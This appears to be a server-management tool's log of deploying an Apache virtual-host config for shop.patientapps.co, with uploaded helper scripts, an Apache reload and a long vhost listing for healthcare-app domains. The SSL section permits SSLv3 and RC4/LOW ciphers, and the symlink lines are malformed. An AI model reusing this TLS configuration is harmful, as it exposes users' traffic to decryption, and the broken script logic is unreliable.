CustomLog /var/log/apache2/patientapps/shop_access.log combined
ErrorLog /var/log/apache2/patientapps/shop_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
SetEnv ENV sandbox
DirectoryIndex index.php index.html index.htm
</VirtualHost>
<VirtualHost *:443>
ServerName shop.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
DocumentRoot /var/www/patientapps_shop
<Directory /var/www/patientapps_shop>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/shop_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/shop_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SetEnv ENV sandbox
DirectoryIndex index.php index.html index.htm
</VirtualHost>
2025-10-03 22:13:25:
PUT: /tmp/pkp392043
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_shop_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_shop_co.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName shop.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_shop
<Directory /var/www/patientapps_shop>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/shop_access.log combined
ErrorLog /var/log/apache2/patientapps/shop_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
SetEnv ENV sandbox
DirectoryIndex index.php index.html index.htm
</VirtualHost>
<VirtualHost *:443>
ServerName shop.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
DocumentRoot /var/www/patientapps_shop
<Directory /var/www/patientapps_shop>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/shop_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/shop_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SetEnv ENV sandbox
DirectoryIndex index.php index.html index.htm
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_shop_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_shop_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_shop_co.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_shop_co.conf= 1'
fi
2025-10-03 22:13:25:
chmod 755 /tmp/pkp392043; /tmp/pkp392043; rm /tmp/pkp392043
2025-10-03 22:13:25:
2025-10-03 22:13:25:
PUT: /tmp/pkp614814
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-03 22:13:25:
chmod 755 /tmp/pkp614814; /tmp/pkp614814; rm /tmp/pkp614814
2025-10-03 22:13:25:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-03 22:13:25: Establishing a connection
2025-10-03 22:13:25:
PUT: /tmp/pkp970794
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-03 22:13:25:
chmod 755 /tmp/pkp970794; /tmp/pkp970794; rm /tmp/pkp970794
2025-10-03 22:13:25:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-03 22:13:25:
PUT: /tmp/pkp461146
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_shop_co.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-03 22:13:25:
chmod 755 /tmp/pkp461146; /tmp/pkp461146; rm /tmp/pkp461146
2025-10-03 22:13:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_shop_co.conf 1360
<VirtualHost *:80>
ServerName shop.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_shop
<Directory /var/www/patientapps_shop>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/shop_access.log combined
ErrorLog /var/log/apache2/patientapps/shop_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
SetEnv ENV sandbox
DirectoryIndex index.php index.html index.htm
</VirtualHost>
<VirtualHost *:443>
ServerName shop.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
